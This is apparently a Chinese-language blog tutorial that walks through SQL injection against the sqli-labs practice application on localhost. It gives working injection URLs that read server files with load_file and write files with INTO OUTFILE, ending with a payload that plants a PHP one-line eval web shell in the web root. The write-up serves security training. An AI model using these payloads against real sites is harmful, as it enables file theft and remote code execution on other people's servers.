SQL注入读写文件
# SQL 注入之 SQL 注入读写文件
本篇讲解 SQL 注入读写文件
使用到的函数如下:
Load_file(file_name):读取文件并返回该文件的内容作为一个字符串。 |
Less-1 为例
# 尝试报错
添加一个单引号:
http://127.0.0.1/sqli/Less-1/?id=1' |
# 尝试不报错
http://127.0.0.1/sqli/Less-1/?id=1' %23 |
# 尝试 order by 注入
http://127.0.0.1/sqli/Less-1/?id=1' order by 3 %23 |
# 读取文件
一般获取服务器的绝对路径有两种方法:
- 通过经验猜测和自己搭建的服务器同样的路径
- 通过爆破手段得到
这里就演示一下本地服务器绝对路径
http://127.0.0.1/sqli/Less-1/?id=-11' union select 1, 2, load_file("C:\\phpStudyB\\WWW\\sqli\\Less-1\\index.php") %23 |
显示比较混乱,原因是当读取到 index.php 之后返回给页面的是 php 语句,所以在页面显示的时候被 php 重复解析。
我们转换 Hex 存储
http://127.0.0.1/sqli/Less-1/?id=-11' union select 1, 2, Hex(load_file("C:\\phpStudyB\\WWW\\sqli\\Less-1\\index.php")) %23 |
接下来去 BurpSuit,或者在线网站转码。这里选择 BurpSuit,选择 Decoder-Decode as.....-Ascii hex
# 写入文件
写入文件使用函数为:into outfile
例子为 Less-7
http://127.0.0.1/sqli/Less-7/?id=1 |
http://127.0.0.1/sqli/Less-7/?id=1' |
那么,使用 order by 确定列数
http://127.0.0.1/sqli/Less-7/?id=1')) order by 3 %23 |
使用 into outflie
语句
http://127.0.0.1/sqli/Less-7/?id=1')) union select 1,2,3 into outfile "C:\\phpStudyB\\WWW\\sqli\\Less-7\\aaa.txt" %23 |
虽然报错,但是我们尝试去看一下 Less-7/aaa.txt
有没有生成
写入成功。那么,既然可以写入文件,那就可以写入一句话木马。
http://127.0.0.1/sqli/Less-7/?id=1')) union select 1,2,"<?php @eval ($_POST[value]);?>" into outfile "C:\\phpStudyB\\WWW\\sqli\\Less-7\\aaa.php" %23 |
并成功解析成 php 执行。
至此,SQL 注入文件读写演示完毕。
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 My Violet Eva Garden!